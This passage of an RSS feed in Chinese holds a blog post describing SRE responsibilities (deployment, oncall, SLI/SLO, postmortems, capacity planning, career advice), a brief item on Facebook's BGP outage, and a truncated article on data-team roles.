 &lt;p&gt;有了 Platform SRE 的支持，开发人员写代码就基本上不需要关心部署的问题了。可以专注于开发，使用公司开箱即用的服务。这一层的 SRE 更加贴近于业务，知道业务是怎么运行的，请求是怎么处理的，依赖了哪些组件。如果 X 除了问题，可以有哪些降级策略。参与应用的架构设计，提供技术支持。&lt;/p&gt;
 &lt;p&gt;主要的工作内容有：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;参与系统的设计。比如熔断、降级，扩容等策略。&lt;/li&gt;
  &lt;li&gt;做压测，了解系统的容量。&lt;/li&gt;
  &lt;li&gt;做容量规划。&lt;/li&gt;
  &lt;li&gt;业务侧的 Oncall。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;对于一个专业的 SRE 来说，上述技能也不应该有明显的界限，比如说业务 SRE 也需要掌握一些网络技能，Infra SRE 也要写一些代码。很多工具每一个岗位的人都多少用的到，比如 Ansible/Puppet/SaltStack 这种 IT 自动化工具，或者 Grafana/Prometheus 这种监控工具，只有理解才能用的正确。换个角度讲，对于业务 SRE 来说，虽然基本上不会去管理四层以下的网络，但是如果遇到网络问题，能通过已有的工具和权限排查到交换机问题，去找 Infra SRE 帮忙：“请帮我看下 xx IP 到交换机是否有异常，因为 xxx 显示的结果是 xx”，总比 “我怀疑 xx 有网络问题，请帮忙排查下” 要好一些吧？&lt;/p&gt;
 &lt;p&gt;以上是工作职责的大体划分，这个分层其实没有什么意义，倒是可以让读者了解一下 SRE 都涉及哪一些工作。&lt;/p&gt;
 &lt;p&gt;下面是一些日常的工作内容。&lt;/p&gt;
 &lt;h2&gt;部署服务&lt;/h2&gt;
 &lt;p&gt;部署分成两种：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;Day 1：将服务部署上线的那一天&lt;/li&gt;
  &lt;li&gt;Day 2+：服务部署之后，还会进行很多更新，升级，配置更改，服务迁移等等&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;Day2+ 的工作要做很多次，Day 1 做的很少，在不断的迭代升级之后，还能保证有一个可靠的 Day 1 操作是很难的。换句话说，我们在服务部署之后一直改来改去，还要保证这个服务在一个全新的环境能够可靠的部署起来。部署环境的硬编码，奇奇怪怪的 work around，都会破坏 Day 1 的可靠性。之前一家公司，扩容一个新机房的过程简直是噩梦，太多的奇怪配置，hardcode，导致踩过无数个坑才能在一个新的机房部署起来全部的服务。&lt;/p&gt;
 &lt;p&gt;Day2+ 的操作也不简单，主要要关注稳定性。对于重要的变更操作要设计好变更计划，如何做到灰度测试，如果出了问题应该如何回滚，如何保证回滚可以成功（如何测试回滚）等等。&lt;/p&gt;
 &lt;p&gt;部署的操作最好都是可以追踪的，因为并不是所有会引起问题的操作都会立即引起问题。比如一个操作当时做完没有什么问题，但是过了 1 个月，偶然的重启或者内存达到了某一个指标触发了问题。如果能记录操作的话，我们可以回溯之前做过的变更，方便定位问题。现在一般都用 git 来追踪部署过程的变更（  &lt;a href="https://www.weave.works/technologies/gitops/"&gt;gitops&lt;/a&gt;）。&lt;/p&gt;
 &lt;h2&gt;Oncall&lt;/h2&gt;
 &lt;p&gt;Oncall 简单来说就是要保证线上服务的正常运行。典型的工作流程是：收到告警，检查告警发出的原因，确认线上服务是否有问题，定位到问题，解决问题。&lt;/p&gt;
 &lt;p&gt;收到告警并不总意味着真正的问题，也有可能告警设置的不合理。告警和监控面板并不是一个静态的配置，它应该是每天都在变化的，时刻在调整的。如果发现没有标志真正线上问题的告警发了出来，就应该修改告警规则。如果发现当前的监控无法快速定位问题，应该调整监控面板，添加或者删除监控指标。业务在发展，请求量在变化，某些阈值也需要不断地调整。&lt;/p&gt;
 &lt;p&gt;定位问题没有一概而论的方法了，需要根据看到的实时，结合自己的经验，然后做推测，然后使用工具验证自己的推测，然后确定问题的根因。&lt;/p&gt;
 &lt;p&gt;但是解决问题是可以有方法论的，叫做   &lt;a href="https://en.wikipedia.org/wiki/Standard_operating_procedure"&gt;SOP，标准操作流程&lt;/a&gt;。即：如果出现了这种现象，那么执行那种操作，就可以恢复业务。SOP 文档应该提前制定，并且验证其有效性。&lt;/p&gt;
 &lt;p&gt;需要注意的是上述定位问题、解决问题  &lt;strong&gt;并没有顺序关系&lt;/strong&gt;。一个经常犯的错误是，在出现故障的时候，花了很长时间定位到故障的根因，然后再修复。这样花的时间一般会比较长。正确的做法是先根据现象看现有的 SOP 能否恢复业务。比如说当前错误只发生在某一个节点上，那么就直接下线这个节点，具体的原因后面再排查。恢复当前的故障永远是第一要务。但是恢复操作也要经过测试，比如猜测可以通过重启解决问题的话，可以先重启一台做测试，而不是一次性将所有服务重启。大部分情况是需要临场分析的，是一个紧张又刺激的过程。&lt;/p&gt;
 &lt;p&gt;故障到底多久恢复算好？出现多少故障是可以容忍的？怎么标志服务的稳定性到底如何？我们使用 SLI/SLO 来衡量这些问题。&lt;/p&gt;
 &lt;h2&gt;制定和交付 SLI/SLO&lt;/h2&gt;
 &lt;p&gt;维护服务等级协议，听起来像是一个非常简单的事情，只要“设定一个可用率”然后去实现它就好了。然而现实的情况并不是。&lt;/p&gt;
 &lt;p&gt;比如，制定可用率的时候，并不是说我们去“实现4个9”（99.99% 的时间可用）就够了，我们有以下问题要考虑：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;如何定义这个可用率？比如我们以可用率 &amp;gt; 99.9% 为目标，有一个服务部署了 5 个 Zone, 那么有一个 Zone 挂了，其余的 Zone 是可用的，那么可用率被破坏了吗？这个可用率是每一个 Zone 的还是所有的 Zone 一起计算的？&lt;/li&gt;
  &lt;li&gt;可用率计算的最小单位是什么？如果 1min 内有 50s 没有达到可用率，那么这一分钟算是 down 还是 up？&lt;/li&gt;
  &lt;li&gt;可用率的周期是怎么计算的？按照一个月还是一个周？一个周是最近的 7 天还是计算一个自然周？&lt;/li&gt;
  &lt;li&gt;如何对 SLI 和 SLO 做监控？&lt;/li&gt;
  &lt;li&gt;如果错误预算即将用完，有什么措施？比如减少发布？如果 SLI 和 SLO 没有达到会怎么样？&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;等等，如果这些问题不考虑清楚的话，那么 SLI 和 SLO 很可能就是没有意义的。SLI/SLO 也适用于对公司内部用户的承诺，让用户对我们的服务有预期，而不能有盲目的信任。比如 Google 在 SLI/SLO 还有预算的时候，会在满足 SLI/SLO 的时候自行对服务做一些破坏，让用户不要对服务有 100% 可用的错误预期。SLI/SLO 也会让 SRE 自己对当前服务的稳定性有更好的认识，可以根据此调整运维、变更、发布计划。&lt;/p&gt;
 &lt;h2&gt;故障复盘&lt;/h2&gt;
 &lt;p&gt;故障复盘的唯一目的是减少故障的发生。有几个我目前认为不错的做法。&lt;/p&gt;
 &lt;p&gt;故障复盘需要有文档记录，包括故障发生的过程，时间线的记录，操作的记录，故障恢复的方法，故障根因的分析，为什么故障会发生的分析。文档应该隐去所有当事人的姓名对公司的所有人公开。很多公司对故障文档设置查看权限，我觉得没什么道理。有些公司的故障复盘甚至  &lt;a href="https://github.com/danluu/post-mortems"&gt;对外也是公开的&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;故障在复盘的时候应该将当事人的名字用代码替代，可以营造更好的讨论氛围。&lt;/p&gt;
 &lt;p&gt;不应该要求所有的故障复盘都产生 Action。之前一家的公司的故障复盘上，因为必须给领导一个“交待”，所以每次都会产生一些措施来预防相同的故障再次发生，比如增加审批流程之类的。这很扯，让级别很高的领导审批他自己也看不懂的操作，只能让领导更痛苦，也让操作流程变得又臭又长，最后所有人都会忘记这里为什么会有一个审批，但是又没有人敢删掉。你删掉，出了事情你负责。&lt;/p&gt;
 &lt;p&gt;Blame Free 文化？之前我认为是好的。但是后来发现，有些不按照流程操作导致的问题确实多少应该 Blame 一下，比如下线服务的时候没有检查还没有 tcp 连接就直接下线了，或者操作的时候没有做 canary 就全部操作了，这种不理智的行为导致的故障。但是条条框框又不应该太多，不然活都没法干了。&lt;/p&gt;
 &lt;h2&gt;容量规划&lt;/h2&gt;
 &lt;p&gt;容量规划是一个非常复杂的问题，甚至有一些悖论。容量要提前做好规划，但是容量的规划需要知道业务的扩张速度，扩张速度这种事情又不是提前能计划好的。所以我一直觉得这个事情很难做，也一直没有见过做的很好的例子。&lt;/p&gt;
 &lt;p&gt;但是至少可以对维护的系统建立一个模型，知道多少机器，多少资源，能容纳多少容量。这样遇到大促之类的活动也能及时估算需要的资源数量。&lt;/p&gt;
 &lt;h2&gt;用户支持&lt;/h2&gt;
 &lt;p&gt;用户支持也是日常的一部分。包括技术咨询，以及用户要求的线上问题排查。&lt;/p&gt;
 &lt;p&gt;这里就需要提到文档的重要性了。如果没有维护好文档，那么用户就会一遍又一遍问相同的问题。写文档也是一个技术活，优秀的需要很长时间的积累。文档也需要经常更新。我一般会这样，保持这样一种状态：用户可以不需要任何人就从文档中找到他需要的所有答案。如果我发现用户的问题无法从文档中找到，或者难以找到在文档中的什么地方，就会更新文档，或者重新组织文档。如果用户的问题已经从文档中找到，那么就直接发文档给他。如果用户的问题显然是文档看都没有看过（有很多人根本不看文档的，只看文档是谁写的然后径直去问这个人），就直接忽略。&lt;/p&gt;
 &lt;p&gt;优秀的文档应该尽量引入少的专有名词，少使用没有用处的专业词汇描述，只描述具有指导意义的事实，假定用户没有相关的背景知识，列举使用例子，举一些现实会用到的例子而不是强行举例子，明确 Bad Case。等等。这其实是一个很大的话题了，这里就不展开了。&lt;/p&gt;
 &lt;p&gt;暂时就想到这一些了。下面写一些我经常见到的误解，和经常被别人问的问题。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;有关做项目没有专业团队得不到训练。&lt;/p&gt;
 &lt;p&gt;这方面是听到最多的抱怨。虽然说 SRE 在工作上应该是开发时间和运维时间各 50%，但是真实的情况是，即使 SRE 有一些开发工作，也大部分是面向内部用户，面向公司内部的开发者的。大部分项目是一些想法，需要去尝试一下行不行，基本上不会有专业的设计资源，PM 资源。这种项目就需要 SRE 有多方面的技能，包括对产品的理解，清楚地知道它有什么痛点，最好是自己经历过的痛点，然后需要懂设计，管理好开发进度。然而这种人非常少。其实能写中型项目代码的 SRE 就已经非常少了。所以大部分公司内部项目都会做的又难用又复杂。&lt;/p&gt;
 &lt;p&gt;即使是有专业配套 PM 和设计，甚至前端资源。基本上也是一个灾难。我也经历过这样的团队。这种内部项目对标的不是互联网项目，而更像是 toB 的项目。用户 UI 的设计，交互逻辑，操作流程，交付周期等需要的都是另一个领域的知识。否则的话人越多，也只会徒增沟通成本，拖慢项目进度。&lt;/p&gt;
 &lt;p&gt;回到经常听到的这个抱怨，说在 SRE 的团队没有像开发团队那样有“正规军”，有设计和 PM，大家各司其职，后端开发只要对齐 API 然后实现就好了。大部分的应届生会有这样的幻想，但实际上不是这样。被搞错的最重要的一点是，  &lt;strong&gt;学习主要是靠自己的，和别人没有太大的关系&lt;/strong&gt;。我觉得可能是在一个大团队里面，有很多人一起做一件事情，心里的怀疑和焦虑会少一点，人们会对这样的工作状态感到踏实，误以为是“成长”，自己做所有的工作焦虑更多。&lt;/p&gt;
 &lt;p&gt;事实是，在大团队工作可能学到更多的沟通技能，比如和不同的人对齐不同的阶段工作目标，要想要学到其他的东西还是要靠自己。比如拿到一个设计，如果照样子去实现了，其实不会学到什么东西。而要去理解为什么这么设计，为什么不那么设计。如果自己去做，思考的过程也基本是这样的，可以怎么设计，选择什么好。都是：思考，选择，尝试，经验，思考……&lt;/p&gt;
 &lt;p&gt;另一个需要澄清的误区是，模仿并不是学习。在团队中经历了一个设计，如果记住了这个设计，下次碰到类似的问题也用这个设计去解决。这也不能叫做是学习。我见过有在业务部门做过支付的 SRE 写的代码，在内部系统中去实现了订单业务的订单、交易等概念完成一个运维流程，甚至 Model 的名字都没改过。拿着锤子找钉子，会让系统变得更加糟糕和复杂。&lt;/p&gt;
 &lt;p&gt;总之，工作分的细并不代表工作就会更加专业。一个人身兼数职业可以在每一个方面做得很专业。重要的是不断学习，使用正确的做事方式，向优秀的项目和优秀的开发者学习。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;有关脏活累活。&lt;/p&gt;
 &lt;p&gt;每一项工作都会有脏活累活：学不到什么东西，做起来没有意思。可能是整理系统的监控，可能是整理现有的文档，可能清理一些年久的运维脚本，可能是需要和不同的团队做  &lt;a href="https://www.kawabangga.com/posts/4294"&gt;一些沟通工作&lt;/a&gt;等。&lt;/p&gt;
 &lt;p&gt;这是不可避免的，如果可以的话，学会从每一项工作中找一些偷懒的方法吧，比如用脚本处理一些工作，用更聪明的方式工作等等。&lt;/p&gt;
 &lt;p&gt;但是如果这种工作的比例太高的话，就要思考工作方式的问题了。如果陷入恶性循环，看能不能从工具和工作流程上做一些改变。如果不能的话，考虑换一份工作吧。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;有关背锅。&lt;/p&gt;
 &lt;p&gt;互相甩锅的工作环境无疑是非常糟糕的工作环境。如果相同的团队、或者不同的团队之间需要相互勾心斗角的话，如果工作环境不允许大方承认（SRE 无可避免地会犯一些错误）自己的错误，说明公司营造的氛围有问题。比如某些公司规定，发生 P1 级别的错误就必须开除一个 Px 级别的员工，发生 P0 级别的错误就必须开除一个 Py 级别的员工一样。如果是这种情况的话，公司实际上是在用一种懒惰地方法通过提高人的压力来提高系统的稳定性。有没有效果不知道，但是确定的是不会有人在这种情况下工作的开心。建议换一份工作。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;如何转行？&lt;/p&gt;
 &lt;p&gt;其实难度没有想象的高，毕竟大学里面没有一个叫做 SRE 的专业。SRE 要求的知识也是编写代码、设计系统、了解操作系统和网络等。所以在大学里面将本科的课程好好学好，尝试做（并维护）一些自己的项目，毕业的时候基本上就满足要求了。非科班的人要转行的话，也可以参考大学的课程内容去补足这方面的知识。&lt;/p&gt;
 &lt;p&gt;需要注意的是，培训班出来的做开发完成业务可能够，但是做 SRE 远远不够。SRE 不仅需要 make things work，还要知道背后的原理。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;面试会问什么？&lt;/p&gt;
 &lt;p&gt;我觉得和后端开发的面试内容基本上差不多。&lt;/p&gt;
 &lt;p&gt;如果是去应聘的这个岗位所需要的一些技能，比如 K8S，监控系统等，可能也会问一些领域内的知识。虽说这部分工具性的东西都可以学习，但是如果人家要一个经验丰富的、或者入职就能干活的，那么面试成功的机会就会小很多。当然，也不必沮丧，这是市场的供需关系决定的，如果对方执意要找符合特定要求的候选人，那么对方的选择的范围也会小很多，不必因为错失了这种机会而后悔没去学习什么工具。话又说回来，技能越多，选择也会越多。&lt;/p&gt;
 &lt;p&gt;排查错误可能是转行做 SRE 最大的一个门槛，这个需要一些经验。如果没有经验的话，就补足一些操作系统的知识，这样遇到未知的问题也可以通过已知的知识和工具去排查。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;做 SRE 需要会写代码吗？&lt;/p&gt;
 &lt;p&gt;会，而且写代码的要求并不会比一个专业的后端开发低。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;选择大公司还是小公司？&lt;/p&gt;
 &lt;p&gt;这属于两种截然不同的工作环境。小公司一般都有一个救火英雄式的人物，在公司的时间比较长，知道所有组件的部署结构，什么都懂。跟着这种人学习会成长很快。&lt;/p&gt;
 &lt;p&gt;大公司细分领域很多。本文前面列出的内容可能每一项在大公司中都是一个团队，对某个领域可以深入研究。&lt;/p&gt;
 &lt;p&gt;所以还是看想要做什么了。我个人比较喜欢靠谱的小公司，或者大公司中靠谱的小团队。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;如何判断一家公司是否靠谱？&lt;/p&gt;
 &lt;p&gt;对于 SRE 这个职位，我总结了一些判断的技巧。比如可以判断一下对方目前的业务和 SRE 员工的数量是否处于一个“正常”的状态，人数是否在随着业务（机器的数量）现象增长？这是一个不好的迹象。是否 SRE 的数量过多？如果 SRE 人太多，有两个可能的原因：1）某个领导为了扩大自己的影响力在为一些“不必要的”岗位招人，这样会导致人多事少，大家开始做一些奇奇怪怪的事情，发明奇奇怪怪的需求，以各种各样的方式浪费自己的时间来领公司的工资；2）这个公司的基础太差，大部分工作都是需要人力运维，导致基本上有多少机器就需要多少人。总之，都不是什么好事情。&lt;/p&gt;
 &lt;p&gt;一些技术比较好的公司，都没有庞大的 SRE 队伍，比如 Instagram, Netflix（现在可能人数不少了），以及一些创业公司，甚至都可以没有专门的 SRE，优秀的 SRE 首先要是开发者，优秀的开发者也离 SRE 不远了。一些耳熟能详的服务，比如 webarchive 这样的数据量，其实  &lt;a href="https://archive.org/details/jonah-edwards-presentation"&gt;背后也只有几个人在维护&lt;/a&gt;。前几年面试了国内的一家公司，在机房遍布全球，业务已经发展的比较庞大（上市了）的时候，SRE 团队也只有 10 个人。&lt;/p&gt;
 &lt;p&gt;另外我比较喜欢问的一个问题是对方关于 AIOps 怎么看。因为我之前搞了两年这个东西，最后得到的结论是，这基本上  &lt;a href="https://www.kawabangga.com/posts/4145"&gt;是个浪费时间、欺骗上层领导的东西&lt;/a&gt;。AI 这东西的不可解释性本质上就和运维操作将就因果相违背的。所以经常喜欢问面试官怎么看这个技术，基本上就可以判断靠不靠谱。当然了，这是我个人的职业阴影导致的后遗症，只能代表个人意见。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;就说这么多吧，都是一些个人理解，不一定对。写这篇文章感觉自己好像指点江山一样，其实我自己也干了才几年而已，所以本文内容仅供参考。如果有什么问题可以在评论提出，我能回答的话就尽量回答。&lt;/p&gt; &lt;p&gt;The post   &lt;a href="https://www.kawabangga.com/posts/4481"&gt;SRE 的工作介绍&lt;/a&gt; first appeared on   &lt;a href="https://www.kawabangga.com"&gt;卡瓦邦噶！&lt;/a&gt;.&lt;/p&gt; &lt;div&gt;  &lt;h3&gt;相关文章:&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;    &lt;a href="https://www.kawabangga.com/posts/3028"&gt;构建大型Cron系统的思考&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://www.kawabangga.com/posts/2139"&gt;博客维护：速度优化，嵌入instagram&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://www.kawabangga.com/posts/2210"&gt;Python正则表达式解惑&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://www.kawabangga.com/blogroll"&gt;申请友链&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://www.kawabangga.com/db"&gt;DB资料集&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>程序开发笔记 Google SRE SRE 工作介绍</category>
      <guid isPermaLink="true">https://itindex.net/detail/61879-sre-%E5%B7%A5%E4%BD%9C</guid>
      <pubDate>Sat, 06 Nov 2021 23:23:03 CST</pubDate>
    </item>
    <item>
      <title>Facebook 因为推错了 BGP 路由的配置，相当于直接把自己的所有系统从互联网上断开了。没法快速恢复是因为平时通过互联网工作的员工也访问不到。更厉害的是门禁系统也在断开的系统之内，员工的门禁卡失效没法物理进入机房维护。。</title>
      <link>https://itindex.net/detail/61811-facebook-bgp-%E8%B7%AF%E7%94%B1</link>
      <description>&lt;p&gt;Facebook 因为推错了 BGP 路由的配置，相当于直接把自己的所有系统从互联网上断开了。没法快速恢复是因为平时通过互联网工作的员工也访问不到。更厉害的是门禁系统也在断开的系统之内，员工的门禁卡失效没法物理进入机房维护。。  &lt;br /&gt;  &lt;br /&gt;想看更多劲爆内容，请下载抽屉新热榜客户端 :  &lt;br /&gt;http://dig.chouti.com/qrcode/10036&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>挨踢1024</category>
      <guid isPermaLink="true">https://itindex.net/detail/61811-facebook-bgp-%E8%B7%AF%E7%94%B1</guid>
      <pubDate>Tue, 05 Oct 2021 07:36:51 CST</pubDate>
    </item>
    <item>
      <title>那些数据工作中的角色 (insights.thoughtworks.cn)</title>
      <link>https://itindex.net/detail/61624-%E6%95%B0%E6%8D%AE-%E5%B7%A5%E4%BD%9C-%E8%A7%92%E8%89%B2</link>
      <description>&lt;div&gt;  &lt;p&gt;数据工作中有一类非常重要的角色，那就是数据分析师。为什么这个角色这么重要呢？&lt;/p&gt;  &lt;p&gt;因为要是没有这个角色，不管一个企业中的数据管理做得有多么好都没用，都无法带来实际的价值。这些数据就像是藏在海底的石油，而数据分析师就是开采海底石油的油井设备。要想让石油用于汽车轮船，需要通过这些设备先将海底的石油抽取出来，经过加工处理，提纯。&lt;/p&gt;  &lt;h3&gt;数据分析师&lt;/h3&gt;  &lt;p&gt;这个角色通常做什么呢？数据分析师的日常工作当然就是做数据分析。   &lt;br /&gt;比如要分析一个应用的客群特征，分析用户的留存率，活跃程度等等。但是，对于数据分析工作，最重要的是业务理解，对软件开发技术的要求其实并不高，能写SQL就能完成大部分工作了。   &lt;br /&gt;比如留存率的计算，技术上一个带join和where的SQL查询就实现了，但是分析的目标远不止于此，对于分析而言，更重要的是要知道为什么留存率是计算出来的这个数值以及这个值究竟意味着什么。考察为什么是这个数值，可能会发现是由机器人贡献了较高的留存率，企业内员工也贡献了较高的留存率，真实的用户其实贡献了一个较低的留存率。   &lt;br /&gt;考察这个值究竟意味着什么，首先会观察其变化趋势，可能会发现留存率有所上涨或下降，然后，最重要的，根据这一情况应该从业务上做些什么。   &lt;br /&gt;从这里的分析可以看出，数据分析师是具备一定的技术能力，但更偏业务的一种角色。   &lt;br /&gt;可能有人会说，我之前在互联网公司待过很长时间，似乎也没听说过需要这样一种角色呀。没错，其实在很多规模不大的互联网公司，根本没有明确定义数据分析师这样的角色，但这一角色并非不存在，通常这样的角色是被市场运营人员和产品经理兼任了。   &lt;br /&gt;当前国内的互联网公司普遍招聘的产品经理或运营人员的一个重要的能力要求就是会分析数据，然后根据数据改进产品设计或改进运营策略。我见到过很多公司的产品经理和运营人员写SQL写的非常溜，他们正是在进行分析数据，并根据数据进行业务改进。&lt;/p&gt;  &lt;h3&gt;数据科学家&lt;/h3&gt;  &lt;p&gt;对于数据分析师而言，技术上只要会SQL就够了么？当然不是。当业务发展到一定程度之后，想要做到精细化的运营，简单的SQL工具可能就无法满足数据分析师的需求了。这时，可能要请出来一些大家觉得高大上的算法模型了。比如，要做客群细分，是不是要来个RFM模型呢？要挑选一些客户来做营销，是不是要做个逻辑回归模型来预测一下哪些客户是潜在的高价值营销客户呢？想做交叉销售提升现有客户价值，是不是要来个关联分析呢？   &lt;br /&gt;一旦涉及到建模分析，问题就不一样了，这些分析手段非常专业，非计算机专业，数学能力比较差的同学接受起来可能就会比较困难。但也绝非不可能，市场上其实已经有很多专门为建模分析而生的专业工具了。其中最有名的莫过于SAS。只需要使用者明白基本的算法原理，然后跟随软件的可视化引导进行操作就可以完成基本的建模分析。这样一来，是不是具有计算机或者数学背景的偏业务的数据分析师们也可以来做了呢？   &lt;br /&gt;有不少公司将同时懂业务，会SQL，会建模分析的人员称为数据科学家。需要拥有这么多的交叉专业背景，这一角色的门槛显然非常高了。然而，数据科学家这一角色对于一个日渐壮大的企业而言却是非常重要的，常常可以带来企业核心竞争力的进一步提升，为企业建立竞争壁垒。   &lt;br /&gt;按照前面对数据科学家的定义，企业内部常常是缺少堪称数据科学家的人才的。即便有，也更多是某一领域的数据科学家，因为需要有深厚的业务知识积累。而一个人其实是很难具有多个行业多个领域的业务经验的。所以，一般而言，企业中更多的人才资源是数据分析师，即便有数据科学家，可能更多也谦称为数据分析师。当然可能也有另一个原因，数据分析师的名字听起来会更偏解决实际业务问题，而数据科学家则更像是偏学术理论研究。&lt;/p&gt;  &lt;h3&gt;数据工程师&lt;/h3&gt;  &lt;p&gt;数据工作当然还少不了一类角色，那就是数据工程师。不管是数据分析师还是数据科学家，都是基于数据进行分析的。那数据从哪里来，数据管理是不是做的足够好，数据提取是不是足够容易，在大规模的数据集上面进行计算是否高效，这些问题常常成为了挡在数据分析师和数据科学家前面的一堵墙。为了打破这堵墙，就需要数据工程师了。   &lt;br /&gt;所以，数据工程师的职责是什么呢，那就是为数据分析师和数据科学家服务。将数据有效的管理起来，让他们可以轻易的获取并理解数据。为他们提供分布式的探索环境，让他们可以高效的在大规模的数据集上面进行计算。除了为数据分析提供服务，数据工程师还需要做好其他的企业数据管理工作，比如数据安全，数据标准，数据质量管理等。   &lt;br /&gt;想做好企业数据管理并非易事，如何在企业内部建立数据标准，如何进行数据安全定级，并分别对不同安全级别的数据实施不同的安全策略，如何推进企业数据质量建设。这些问题没有一个是可以轻易做到的，非但不能轻易做到，甚至对数据管理经验要求非常高。这对于数据工程师的行业经验、工程经验都提出了更高的要求。业界通常将有这些经验足够丰富的数据工程师称为数据架构师。&lt;/p&gt;  &lt;h3&gt;转型到数据分析师&lt;/h3&gt;  &lt;p&gt;能不能不要数据分析师呢？经过前面的角色拆解分析可以知道，企业里面总是会先有数据分析师（即便可能暂时没有这个称号），再有数据工程师。如果一项数据工作中没有数据分析师，那这个项目就很容易演变成一群做技术的人的自嗨，搭建各种前沿大数据平台，什么分布式计算流式计算一起上，做了很长的时间烧了大把经费之后发现没有什么可见的业务价值，然后不得不因为项目经费的原因遗憾收场。   &lt;br /&gt;所以，要想做好数据这块业务，数据分析师这一角色是不可缺少的。   &lt;br /&gt;如何应对数据分析师的短缺呢？最直接的办法就是扩充拥有数据分析能力的人才了。人才可以有两方面来源，一是招聘，二是内部转岗。首先看内部转岗。内部转岗可以说是最先采用的人才扩充方式。   &lt;br /&gt;能不能由软件开发人员转做数据工程师或者数据分析师呢？其实软件开发人员转做数据工程师相对是比较容易的。但是还是需要补充较多的数据专业能力，比如数据仓库的建设方案，如何进行数据建模，如何进行数据治理，如何进行数据开发和调试，如何实现数据服务及可视化，如何打造数据平台等。   &lt;br /&gt;能不能由软件开发人员转做数据分析师呢？这种情况就比较有难度了。主要是业务思维和技术思维有着很大的不同，业务思维想要解决当前的业务问题创造利润，怎么快怎么做，看重可操作性和效果而非技术，而技术思维却是想着维护产品的高质量，稳步的进行迭代演进。所以，我们常常见到，业务人员不能理解做技术的要考虑各种边界情况，各种依赖情况，导致一个功能要做很久；技术人员也不能理解业务为啥要天天变，刚做好的功能还没产生业务价值又要推翻重来。除了思维方式需要转变，业务经验积累也变成了这里的角色转变的绊脚石。   &lt;br /&gt;能不能由BA转做数据分析师呢？我们看到公司内部其实有不少数据分析师是BA的角色转变而来的。但是新的角色对于BA而言同样存在很大的挑战。比如如何快速的去熟悉一个新行业的业务，如何提升SQL技能，甚至如何自我学习和提升达到具备进行统计分析，假设检验，建模分析的能力。这些都是不容易的。&lt;/p&gt;  &lt;h3&gt;企业数据人才结构&lt;/h3&gt;  &lt;p&gt;前面介绍了数据工作的相关角色，隐隐约约可以看出企业数据人才组成结构了，我们姑且将其称为企业数据人才架构。用一张简图可以表示如下：   &lt;br /&gt;&lt;/p&gt;  &lt;div&gt;   &lt;a href="https://insights.thoughtworks.cn/wp-content/uploads/2021/06/0-data-analyst-engineer-scientist.png"&gt;    &lt;img alt="" height="350" src="https://insights.thoughtworks.cn/wp-content/uploads/2021/06/0-data-analyst-engineer-scientist-768x384.png" width="700"&gt;&lt;/img&gt;&lt;/a&gt;   &lt;p&gt;企业数据人才结构&lt;/p&gt;&lt;/div&gt;  &lt;br /&gt;前面只是最基本的角色定位，在实际企业环境中，常常会由于各自的企业基因和文化而有所不同。  &lt;br /&gt;比如，如果是一家创业型小公司，可能就只分为技术、产品、运营三种大的角色。技术人员将完成业务功能开发、运维、数据管理等等一系列工作。产品人员将基于产品数据分析完成产品设计和优化。运营人员将基于运营数据分析完成运营策略、运营活动的设计等。如果这家创业型公司以业务为核心，那么可能前期会直接采购相关的软件产品，连技术和数据分析都没有。  &lt;br /&gt;一家以软件技术为核心的中型公司（比如互联网公司），业务逐步成熟，就开始设置专门的数据部门和数据工程师岗位。而一家以业务为核心的中型公司（比如零售、保险等公司），业务逐步成熟，就开始设置专门的数据分析部门和数据分析师岗位。  &lt;br /&gt;随着业务的进一步扩大，各个角色的专业性越来越强，大型企业中常常设置数据架构师、数据科学家等角色，以应对特别复杂的业务场景。  &lt;p&gt;&lt;/p&gt;  &lt;div&gt;   &lt;div&gt;    &lt;a href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="WeChat"&gt;&lt;/a&gt;    &lt;a href="https://www.addtoany.com/add_to/sina_weibo?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="Sina Weibo"&gt;&lt;/a&gt;    &lt;a 